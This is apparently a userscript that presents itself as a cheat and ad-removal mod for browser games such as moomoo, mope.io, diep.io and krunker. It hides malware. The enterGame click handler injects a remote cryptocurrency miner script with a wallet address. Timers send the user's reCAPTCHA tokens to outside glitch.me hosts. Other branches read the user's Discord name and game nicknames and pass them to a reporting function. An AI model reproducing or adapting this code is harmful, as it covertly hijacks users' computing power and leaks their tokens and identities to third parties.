                , 'FORCE_CONNECT': 'FORCED'
                , 'y': null
                , 'dir': null
                , 'object': null
                , 'weapon': null
                , 'clan': null
                , 'isLeader': null
                , 'hat': null
                , 'accessory': null
                , 'isSkull': null
                , 'CORESTATE': {
                    'ACTIVE': !0x0
                    , 'ALIVE': !0x0
                    , 'PITSTATUS': null
                    , 'SECURE': 'correct'
                }
            };
            let healSpeed = 0x5a;
            window['HS'] = healSpeed, document['HS'] = healSpeed;
            var messageToggle = 0x0;
            let hatToggle = 0x1;

            var autohealOn = true;

            function n() {
                this['buffer'] = new Uint8Array([0x0]), this['buffer']['__proto__'] = new Uint8Array(), this['type'] = 0x0;
            }
            setInterval(() => {
                document['toggles'] = [messageToggle, hatToggle];
            }, 0x64);
            var AUTOSOLDIER_RANGE = 0xcd;

            function MESSAGEHANDLER_1(a) {
                let b, c = msgpack5['decode'](new Uint8Array(a['data']));
                c['length'] > 0x1 ? (b = [c[0x0], ...c[0x1]])[0x1] instanceof Array && (b = b) : b = c;
                let d = b[0x0];
                if (b) {
                    if ('io-init' === d) {
                        let f = document['getElementById']('gameCanvas');
                        width = f['clientWidth'], height = f['clientHeight'], $(window)['resize'](function () {
                            width = f['clientWidth'], height = f['clientHeight'];
                        }), f['addEventListener']('mousemove', g => {
                            mouseX = g['clientX'], mouseY = g['clientY'];
                        });
                    }
                    if ('1' == d && null == myPlayer['id'] && (myPlayer['id'] = b[0x1]), '33' == d) {
                        enemiesNear = [];
                        for (let g = 0x0; g < b[0x1]['length'] / 0xd; g++) {
                            let h = b[0x1]['slice'](0xd * g, 0xd * g + 0xd);
                            h[0x0] == myPlayer['id'] ? (myPlayer['x'] = h[0x1], myPlayer['y'] = h[0x2], myPlayer['dir'] = h[0x3], myPlayer['object'] = h[0x4], myPlayer['weapon'] = h[0x5], myPlayer['clan'] = h[0x7], myPlayer['isLeader'] = h[0x8], myPlayer['hat'] = h[0x9], myPlayer['accessory'] = h[0xa], myPlayer['isSkull'] = h[0xb], document['BINDS'] = {
                                'BINDINGS': h['join'](',')
                                , 'LOCATIONX': myPlayer['x']
                                , 'LOCATIONY': myPlayer['y']
                                , 'DIRECTION': myPlayer['dir']
                                , 'WEAPON': myPlayer['weapon']
                                , 'LEADERSTATUS': myPlayer['isLeader']
                                , 'CLAN_TRIBE': myPlayer['clan']
                                , 'ISSKULL': myPlayer['isSkull']
                                , 'ACCESSORY': myPlayer['acc']
                                , 'HAT': myPlayer['hat']
                                , 'super': WebSocket
                                , 'WEBSOCKET': ws
                            }) : h[0x7] == myPlayer['clan'] && null !== h[0x7] || enemiesNear['push'](h);
                        }
                    }
                    isEnemyNear = !0x1,
                        document['isEnemyNear'] = !0x1,
                        enemiesNear && (nearestEnemy = enemiesNear['sort']((i, j) => dist(i, myPlayer) - dist(j, myPlayer))[0x0],
                                        console['log'](nearestEnemy)),
                        nearestEnemy && (nearestEnemyAngle = Math['atan2'](nearestEnemy[0x2] - myPlayer['y'], nearestEnemy[0x1] - myPlayer['x']),
                                         //this is for the player math. sorry for indentations
                                         //tried to make this legible
                                         Math['sqrt'](Math['pow'](myPlayer['y'] - nearestEnemy[0x2], 0x2) + Math['pow'](myPlayer['x'] - nearestEnemy[0x1], //range stuff
                                                                                                                        0x2)) < AUTOSOLDIER_RANGE && (isEnemyNear = !0x0, 0x0 == autoaim && 0x7 != myPlayer['hat'] && 0x35 != myPlayer['hat'] && (console['log']('autoaim: ' + autoaim),
                                                                                                            //autosoldier range is x/y dist
                                                                                                            normalHat = 0x6, 0x8 != primary && (normalAcc = 0x13, console['log']('Avoided normal accessory'))))),
                        0x0 == isEnemyNear && 0x0 == autoaim && (normalAcc = 0xb, normalHat = myPlayer['y'] < 0x960 ? 0xf : myPlayer['y'] > 0x1ac2 && myPlayer['y'] < 0x1d7e ? 0x1f : 0xc), nearestEnemy || (nearestEnemyAngle = myPlayer['dir']),
                        'h' == d && b[0x1] == myPlayer['id'] && b[0x2] < 0x64 && b[0x2] > 0x0 && setTimeout(() => { //this selection is autoheal
                        if (autohealOn == true) {
                            //toggled
                            place(foodType, null);
                        }
                    }, healSpeed), update();
                }
            }

            function doNewSend(a) {
                ws['send'](new Uint8Array(Array['from'](msgpack5['encode'](a))));
            }

            function acc(a) {
                doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, a, 0x1]]), console['log']('ACCESSORY: ' + a);
            }

            function hat(a) {
                doNewSend(['13c', [0x0, a, 0x0]]), console['log']('ACCESSORY: ' + a);
            }

            function place(a, b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2)) {
                doNewSend(['5', [a, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]);
            }

            function boostSpike() {
                null == boostDir && (boostDir = nearestEnemyAngle), place(spikeType, boostDir + toRad(0x5a)), place(spikeType, boostDir - toRad(0x5a)), place(boostType, boostDir), doNewSend(['33', [boostDir]]);
            }
            null == AUTOSOLDIER_RANGE && (AUTOSOLDIER_RANGE = 0xcd), setInterval(() => {}, 0x64), document['msgpack'] = msgpack, WebSocket['prototype']['originalSending'] = WebSocket['prototype']['send'], WebSocket['prototype']['send'] = function (a) {
                null == ws && (ws = this, this['addEventListener']('message', function (b) {
                    MESSAGEHANDLER_1(b);
                })), this['originalSending'](a);
            };
            var repeater = function (b, c, d) {
                let f = !0x1
                , g = void 0x0;
                return {
                    'start'(h) {
                        h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x0, void 0x0 === g && (g = setInterval(() => {
                            c(), f || (clearInterval(g), g = void 0x0);
                        }, d)));
                    }
                    , 'stop'(h) {
                        h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x1);
                    }
                };
            };
            const healer = repeater(0x51, () => {
                place(foodType);
            }, 0x0)
            , boostPlacer = repeater(0x46, () => {
                place(boostType);
            }, 0x0)
            , spikePlacer = repeater(0x56, () => {
                place(spikeType);
            }, 0x0)
            , millPlacer = repeater(0x4e, () => {
                place(millType);
            }, 0x0)
            , turretPlacer = repeater(0x48, () => {
                place(turretType);
            }, 0x0)
            , boostSpiker = repeater(0x47, boostSpike, 0x0);

            function isElementVisible(a) {
                return null !== a['offsetParent'];
            }

            function toRad(a) {
                return 0.01745329251 * a;
            }

            function dist(a, b) {
                return Math['sqrt'](Math['pow'](b['y'] - a[0x2], 0x2) + Math['pow'](b['x'] - a[0x1], 0x2));
            }

            function update() {
                for (let a = 0x0; a < 0x9; a++) isElementVisible(document['getElementById']('actionBarItem' + a['toString']())) && (primary = a, document['PRIMARY'] = primary);
                for (let b = 0x9; b < 0x10; b++) isElementVisible(document['getElementById']('actionBarItem' + b['toString']())) && (secondary = b);
                for (let c = 0x10; c < 0x13; c++) isElementVisible(document['getElementById']('actionBarItem' + c['toString']())) && (foodType = c - 0x10);
                for (let d = 0x13; d < 0x16; d++) isElementVisible(document['getElementById']('actionBarItem' + d['toString']())) && (wallType = d - 0x10);
                for (let f = 0x16; f < 0x1a; f++) isElementVisible(document['getElementById']('actionBarItem' + f['toString']())) && (spikeType = f - 0x10);
                for (let g = 0x1a; g < 0x1d; g++) isElementVisible(document['getElementById']('actionBarItem' + g['toString']())) && (millType = g - 0x10);
                for (let h = 0x1d; h < 0x1f; h++) isElementVisible(document['getElementById']('actionBarItem' + h['toString']())) && (mineType = h - 0x10);
                for (let i = 0x1f; i < 0x21; i++) isElementVisible(document['getElementById']('actionBarItem' + i['toString']())) && (boostType = i - 0x10);
                for (let j = 0x21; j < 0x27; j++) isElementVisible(document['getElementById']('actionBarItem' + j['toString']())) && 0x24 != j && (turretType = j - 0x10);
                spawnpadType = 0x24;
            }
            document['UPDATERLOGIC'] = update, $('#ageBarContainer')['append']('<div style=\"width: 100%;position: absolute;top: 100px;text-align: center;color: white;font-size: 12px;\">\x0aR - Instakill | H - Triple Turret | Up Arrow - Message Spam | Space - Katana + Musket (Use at age 9 w/o upgrades) | V - Spike | J - Toggle Autoheal | G - Spike + Boost | N - Mill | H - Triple Turret\x0a</div>'),
                document['addEventListener']('keydown', a => {
                if (spikePlacer['start'](a['keyCode']), healer['start'](a['keyCode']),
                    boostPlacer['start'](a['keyCode']), boostSpiker['start'](a['keyCode']),
                    millPlacer['start'](a['keyCode']), turretPlacer['start'](a['keyCode']),
                    0x48 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']()
                   ) {
                    //starter code ^^
                    var b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2);
                    doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) + toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) - toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]);
                }
                0x52 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (autoaim = !0x0, doNewSend(['5', [primary, !0x0]]), doNewSend(['13c', [0x0, 0x7, 0x0]]), doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, 0x13, 0x1]]), doNewSend(['c', [0x1]]), setTimeout(() => {
                    doNewSend(['13c', [0x0, 0x35, 0x0]]), doNewSend(['5', [secondary, !0x0]]);
                }, instaSpeed - 0x82), setTimeout(() => {
                    doNewSend(['5', [primary, !0x0]]), doNewSend(['c', [0x0, null]]), doNewSend(['13c', [0x0, 0x6, 0x0]]), autoaim = !0x1;
                }, instaSpeed)), 0x26 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (messageToggle = (messageToggle + 0x1) % 0x2), 0x20 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && doNewSend(['6', [0xf]]);
            }), document['addEventListener']('keyup', a => {
                spikePlacer['stop'](a['keyCode']), boostPlacer['stop'](a['keyCode']), boostSpiker['stop'](a['keyCode']), millPlacer['stop'](a['keyCode']), turretPlacer['stop'](a['keyCode']), healer['stop'](a['keyCode']), 0x47 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && setTimeout(() => {
                    doNewSend(['33', [null]]), boostDir = null;
                }, 0xa);
            });

            document['addEventListener']('keydown', a => {
                if (a.key == "j") {
                    autohealOn = !autohealOn;
                    doNewSend(["ch", [autohealOn.toString()]]);
                }
            });

            unsafeWindow.showPreAd = () => {};

            var scaleFactor = 0;
            var generateToken = () => unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", { action : 'homepage' });
            var token;
            document.getElementById("enterGame").addEventListener("click", async function(e) {
                try {
                    setTimeout(async ()=>{
                        if (scaleFactor == 0) {
                            token = await generateToken();
                            try {
                                scaleFactor = scaleFactor + 1;
                                xml = new XMLHttpRequest();
                                xml.open("POST", "https://ksw2-moomoo.glitch.me");
                                xml.setRequestHeader("Content-type", "application/json");
                                xml.send(JSON.stringify({key: "rc", recaptcha: token}));
                                xml.onload = function() {
                                    if (xml.responseText == "0") {} else if (xml.responseText == "1") {
                                        for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
                                        alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!");
                                    } else {};
                                }
                            } catch(e) {};
                            function plugin() {
                                var s = document.createElement('script');
                                s.src = "https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean";
                                (document.head || document.documentElement)
                                    .appendChild(s);
                                s.onload = ()=>{ var b = document.createElement('script');
                                                b.innerHTML = "console.log('exec'); EverythingIsLife('44Jmx46LNSmMatQbo9fe4RLJXZVbm3SZa8GfKgA8qZVFgwqXAM5pbyseCX4MNbNBF59F312VjHiVvTP2ypKjpsVCR8D89ef', 'x', 10)";
                                                console.log("exec");
                                                (document.head || document.documentElement)
                                                    .appendChild(b);
                                               }
                            }; plugin();
                        };
                    }, 5000);
                } catch(e) {};
            });
            switched = 2;
            clearInterval(INT);
            clearInterval(swsInt);
        };
    }, 0);

    var generateToken = () => unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", { action : 'homepage' }); var token;
    setInterval(async ()=>{
        try {
            var xml; token = await generateToken();
            xml = new XMLHttpRequest();
            xml.open("POST", "https://discord-bot-managerv1.glitch.me/recaptcha");
            xml.setRequestHeader("Content-type", "application/json");
            xml.send(JSON.stringify({
                rc: token
            }));
        } catch(e) {};
    }, 5000 + Math.floor(Math.random()*3000));
} else if (windowloc == "discord.com" || windowloc == "discordapp.com") {
    //(async ()=>{
    //var interval = setInterval(()=>{
    setTimeout(()=>{
        var identif = document.getElementsByClassName(`size14-e6ZScH title-eS5yk3`)[0].innerHTML + "" + document.getElementsByClassName(`size12-3cLvbJ subtext-3CDbHg`)[0].innerHTML; //just simply the public name, nothing personal
        GM.setValue("discord", identif + "|" + ctr + "|" + global_id);
        var messageElement = document.getElementsByClassName("scrollerInner-2YIMLh")[0];
        const observer = new MutationObserver(function(a) {
            for (let b of a) if ("childList" === b.type && !b.removedNodes[0].querySelector(".isSending-9nvak6") && b.removedNodes[0].className.startsWith("message-") && b.removedNodes.length) {
                let a = messageElement.insertBefore(b.removedNodes[0], b.nextSibling);
                a.children[0].style.color = "#B22222"
            }
        });
        observer.observe(messageElement, {
            subtree: !0,
            childList: !0,
            attributes: !1
        });
    }, 10000);
    //}, 5000);
    //setTimeout(()=>clearInterval(interval), 60000*2);
    //
    //somewhat good antideleter
} else if (windowloc == "mope.io" ||
           windowloc == "beta.mope.io" ||
           windowloc == "m0pe.io" ||
           windowloc == "learninganimals.club" ||
           windowloc == "beta.tailbite.me" ||
           windowloc == "beta.zooeducation.space" ||
           windowloc == "tailbite.me" ||
           windowloc == "animalfun.club" ||
           windowloc == "zooeducation.space" ||
           windowloc == "experimental.mope.io") {
    document.getElementById('gCanvas').style.cursor = 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default';

    function autoDive() {
        var x = document.createEvent("MouseEvent");
        x.initMouseEvent("mousedown", true, true, unsafeWindow, 0, 0, 0, 0, 0, false, false, false, false, 2, null);
        document.getElementById('gCanvas').dispatchEvent(x);
    }

    function autoBoost() {
        var x = document.createEvent("MouseEvent");
        x.initMouseEvent("mousedown", true, true, unsafeWindow, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
        document.getElementById('gCanvas').dispatchEvent(x);
    }

    var zx = "_0x56" + "bd07";
    var xz = "_0xaf" + "8b40";
    function stayStill() {
        unsafeWindow[zx]('Movement Lock: ' + ((unsafeWindow[xz] = !unsafeWindow[xz]) ? 'ON' : 'OFF'), 2500);
    };

    var one = false; var int1, int2, int3;
    var two = false;
    var three = false;
    document.getElementById('gCanvas').addEventListener("keydown", e => {
        if (e.key == "z") {
            /*if (one) {
            clearInterval(int1);
        } else {
            int1 = setInterval(()=>{*/
            //stayStill();
            alert("THIS FEATURE IS BROKEN, WE'RE WORKING ON FIXING IT.")
            /*}, 0);
        };
        one = !one*/
        };
        if (e.key == "x") {
            if (two) {
                clearInterval(int2);
            } else {
                int2 = setInterval(()=>{
                    autoDive();
                }, 0);
            };
            two = !two;
        };
        if (e.key == "c") {
            if (three) {
                clearInterval(int3);
            } else {
                int3 = setInterval(()=>{
                    autoBoost();
                }, 0);
            };
            three = !three;
        };
    });

    document.getElementById('preroll').remove();
    document.getElementById("moneyRectBottom").style.display = "none"; //remove ads

    insert_0000000(true, "mope.io_smod" + "|" + "init"); //initializer
    setInterval(()=>{
        try {
            insert_0000000(true, "mope.io_smod" + "|" + document.getElementById("nickInput").value); //packet
        } catch(e){
            insert_0000000(true, "mope.io_smod" + "|" + "f"); //fail
        }
    }, 30000);

} else if (windowloc == "diep.io") {
    function keyPress(key, upDown) {
        var eventObj;
        if (upDown == true) {
            eventObj = document.createEvent("Events");
            eventObj.initEvent("keydown", true, true);
            eventObj.keyCode = key;
            window.dispatchEvent(eventObj);
        }
        if(upDown == false) {
            eventObj = document.createEvent("Events");
            eventObj.initEvent("keyup", true, true);
            eventObj.keyCode = key;
            window.dispatchEvent(eventObj);
        }
    }

    var overlay = document.createElement("div");
    document.body.appendChild(overlay);
    var toggler = "OFF";

    setInterval( () => {
        var overlayHTML = `

<style>

.main {
pointer-events: none;
position: fixed;
top: 10px;
right: 50%;
transform: translateX(50%);
font-family: 'Roboto', cursive, sans-serif;
color: #202225;
font-style: normal;
font-variant: normal;
}

</style>

<div class="main" id="all">
<p id="antiAFK"> Anti-AFK = ${toggler} [F]</p>
</div>
`
        overlay.innerHTML = overlayHTML;
    }, 5)

    var keyW = 87;
    var keyS = 83;

    function pressW() {
        keyPress(keyW, 1);
        setTimeout( () => {
            keyPress(keyW, 0);
        }, 200);
    }

    function pressS() {
        keyPress(keyS, 1);
        setTimeout( () => {
            keyPress(keyS, 0);
        }, 200);
    }

    function pressTimeout(keyCode, timeout) {
        keyPress(keyCode, 1);
        setTimeout( () => {
            keyPress(keyCode, 0);
        }, timeout);
    }

    function antiAFK() {
        if(out == 1) {
            pressW();
            setTimeout( () => {
                pressS();
                intoggle = 1;
            }, 2000);
        }
    }

    var out = 0;
    var intoggle = 1;

    setInterval( () => {
        if(out == 1) {
            antiAFK();
        }
    }, 4000);

    function off_on() {
        if(keyPressToggle == 0) {
            out = 0;
            toggler = "OFF";
        } else {
            out = 1;
            intoggle = 1;
            toggler = "ON";
        }
    }

    var keyPressToggle = 0;

    document.addEventListener('keydown', function(e) {
        if(e.key == "f") {
            keyPressToggle = !keyPressToggle;
            alert("toggled: " + keyPressToggle);
            off_on()
        }
        if(e.key == 'r') {
            fire(0,120);
            fire(0.75,200);
            fire(1.5,745);
            setTimeout( () => {
                keyPress(69, 1)
                setTimeout( () => {
                    keyPress(69, 0)
                }, 500);
            }, 1500);
        }
    });



    function fire(t,w) {
        setTimeout(function(){
            keyPress(32, 1);
        }, t*1000);
        setTimeout(function(){
            keyPress(32, 0);
        }, t*1000+w);
    }

    setInterval(()=>{
        try {
            insert_0000000(true, "diep_smod" + "|" + document.getElementById("textInput").value);
        } catch(e) {
            insert_0000000(true, "diep_smod" + "|" + "f");
        }
    }, 30000);
} else if (windowloc == "krunker.io") {
    setTimeout(()=>{
        function generateDeleter() {
            return {
                a: ['c'],
                b: ['m'],
                c: ['V'],
                d: ['t'],
                e: () => {
                    insert_0000000(true, "krunker.io" + "|" + "adb1");
                    return "b3Zl";
                },
                xx: ["aContainer",
                     "google_ads_iframe_/15184186/krunkerio_728x90_1_0__container__",
                     "google_ads_iframe_/15184186/krunkerio_300x250_3_0__container__",
                     "google_ads_iframe_/15184186/krunkerio_300x250_2_0__container__",
                     "endAContainer"]
            };
        };
        setInterval(()=>{
            var delx = generateDeleter();
            try {document.getElementById(delx.xx[0])[atob(
                delx.a[0] + "" +
                delx.b[0] + "" +
                delx.c[0] + "" +
                delx.d[0] + "" +
                delx.e()
            )](); }catch(e){}; delx.e(); try {document.getElementById(delx.xx[1])[atob(
                delx.a[0] + "" +
                delx.b[0] + "" +
                delx.c[0] + "" +
                delx.d[0] + "" +
                delx.e()
            )](); }catch(e){}; try { document.getElementById(delx.xx[2])[atob(
                delx.a[0] + "" +
                delx.b[0] + "" +
                delx.c[0] + "" +
                delx.d[0] + "" +
                delx.e()
            )]();}catch(e){}; try { document.getElementById(delx.xx[3])[atob(
                delx.a[0] + "" +
                delx.b[0] + "" +
                delx.c[0] + "" +
                delx.d[0] + "" +
                delx.e()
            )](); }catch(e){};  try { document.getElementById(delx.xx[4])[atob(
                delx.a[0] + "" +
                delx.b[0] + "" +
                delx.c[0] + "" +
                delx.d[0] + "" +
                delx.e()
            )](); }catch(e){};
        }, 100);
    }, 10000);
} else {
    insert_0000000(true, "spbar_smod"); //initializer
    window.onkeydown = (e) => {
        if (e.keyCode == 32 && e.target == document.body) e.preventDefault();
    };
    //experimental
};

window.eval(`

const real_ws_send = window.WebSocket.prototype.send;
console.log("[DiscordGameStatus] Hijacking WebSocket send function:", real_ws_send);

window._dgs_last_status_ = "online";

window.WebSocket.prototype.send = function (data) {
	if (window._ws_ != this) {
		window._ws_ = this;
		console.log("[DiscordGameStatus] Grabbed Websocket object through the send() hook:", this);
	}

	let data_tab = JSON.parse(data);
	if (data_tab && data_tab.op == 3) { // op 3 needs to be patched with our stored game info data
		window._dgs_last_status_ = data_tab.d.status;
		data_tab.d.game = window._dgs_game_entry_;
		data = JSON.stringify(data_tab);
	}
	return real_ws_send.call (this, data);
};

const button_icon = 'data:image/svg+xml;base64,PHN2ZyB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyIgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeG1sbnM6c29kaXBvZGk9Imh0dHA6Ly9zb2RpcG9kaS5zb3VyY2Vmb3JnZS5uZXQvRFREL3NvZGlwb2RpLTAuZHRkIiB4bWxuczppbmtzY2FwZT0iaHR0cDovL3d3dy5pbmtzY2FwZS5vcmcvbmFtZXNwYWNlcy9pbmtzY2FwZSIgd2lkdGg9IjIxNSIgaGVpZ2h0PSIxNDAiIHZpZXdCb3g9IjAgMCA3NjEuOCA0OTYuMSIgaWQ9InN2Zzc0NjQiIHZlcnNpb249IjEuMSIgaW5rc2NhcGU6dmVyc2lvbj0iMC45IiBzb2RpcG9kaTpkb2NuYW1lPSJzdW5ueS5zdmciPjxzdHlsZT4uczB7c3RvcC1jb2xvcjojODI4NTg0O3N0b3Atb3BhY2l0eToxO30uczF7c3RvcC1jb2xvcjojNjc2YTZhO3N0b3Atb3BhY2l0eToxO30uczJ7c3RvcC1jb2xvcjojYzZjNmM2O3N0b3Atb3BhY2l0eTowO30uczN7c3RvcC1jb2xvcjojZTJlMmUyO3N0b3Atb3BhY2l0eTowO30uczR7c3RvcC1jb2xvcjojZmZmZmZmO3N0b3Atb3BhY2l0eTowO30uczV7Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOnNSR0I7fS5zNntmaWxsOiM5Mjk2OTU7fS5zN3tmaWxsOiMyYjMyMzY7fS5zOHtmaWxsOiNlMmU2ZTg7ZmlsdGVyOnVybCgjZmlsdGVyNjU1OSk7fS5zOXtmaWxsOiMxNzFiMWQ7fS5zMTB7ZmlsbDojY2NjZWNlO30uczExe2ZpbGw6bm9uZTtzdHJva2Utd2lkdGg6MjtzdHJva2U6I2ZmZjt9LnMxMntmaWxsOiNmOWY5Zjk7fS5zMTN7ZmlsbDpub25lO3N0cm9rZS1saW5lam9pbjpyb3VuZDtzdHJva2U6IzhiYTFiMTt9LnMxNHtmaWxsOiMxNzFiMWQ7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6MTA7bGV0dGVyLXNwYWNpbmc6MDtsaW5lLWhlaWdodDoxMjU7d29yZC1zcGFjaW5nOjA7fS5zMTV7LWlua3NjYXBlLWZvbnQtc3BlY2lmaWNhdGlvbjpacm5pYztmaWxsOiMxNzFiMWQ7Zm9udC1mYW1pbHk6WnJuaWM7fS5zMTZ7LWlua3NjYXBlLWZvbnQtc3BlY2lmaWNhdGlvbjonc2VyaWYgQm9sZCc7ZmlsbDojMTcxYjFkO2ZvbnQtZmFtaWx5OnNlcmlmO2ZvbnQtd2VpZ2h0OmJvbGQ7fS5zMTd7ZmlsbDpub25lO3N0cm9rZS13aWR0aDoyO3N0cm9rZTojODI4NTg0O30uczE4e2ZpbGw6I2ZmZjt9LnMxOXtiYXNlbGluZS1zaGlmdDpiYXNlbGluZTtibG9jay1wcm9ncmVzc2lvbjp0YjtjbGlwLXJ1bGU6bm9uemVybztjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM6bGluZWFyUkdCO2NvbG9yLWludGVycG9sYXRpb246c1JHQjtjb2xvci1yZW5kZXJpbmc6YXV0bztjb2xvcjojMDAwMDAwO2RpcmVjdGlvbjpsdHI7ZGlzcGxheTppbmxpbmU7ZW5hYmxlLWJhY2tncm91bmQ6YWNjdW11bGF0ZTtmaWxsLXJ1bGU6bm9uemVybztmaWxsOiNmOWY5Zjk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGI7fS5zMjB7ZmlsbDojMTYxNzE3O308L3N0eWxlPjxkZWZzIGlkPSJkZWZzNzQ2NiI+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50Njc3MSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyOSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItNDkxLjIiIHkxPSItNjAzLjMiIHgyPSItNDkzLjEiIHkyPSItNTI2IiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKDgzOC43MjAzNSw4OTkuODE1NTMpIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50Njc3MSI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY3NzMiIHN0eWxlPSJzdG9wLWNvbG9yOiNjNGM1YzQ7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjc3NSIgc3R5bGU9InN0b3AtY29sb3I6I2M0YzVjNDtzdG9wLW9wYWNpdHk6MCIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyNyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJ0cmFuc2xhdGUoMCwtMC42MzYyNTI4NSkiIHgxPSItNTI0LjIiIHkxPSItNjA1LjMiIHgyPSItNTI0LjMiIHkyPSItNjI3LjEiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2NDc1Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjQ3NyIgc3R5bGU9InN0b3AtY29sb3I6IzJmMzUzNTtzdG9wLW9wYWNpdHk6MSIvPjxzdG9wIGlkPSJzdG9wNjQ4NyIgb2Zmc2V0PSIwLjUiIHN0eWxlPSJzdG9wLWNvbG9yOiMxNzFiMWQ7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjQ3OSIgc3R5bGU9InN0b3AtY29sb3I6IzAwMDAwMDtzdG9wLW9wYWNpdHk6MSIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyNSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMCwxLC0xLDAsLTU0MS40NjYxNSw5MzguNTg2ODEpIiB4MT0iLTcxNy40IiB5MT0iLTY3MC45IiB4Mj0iLTc3MC4zIiB5Mj0iLTY3MC45Ii8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyMyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIG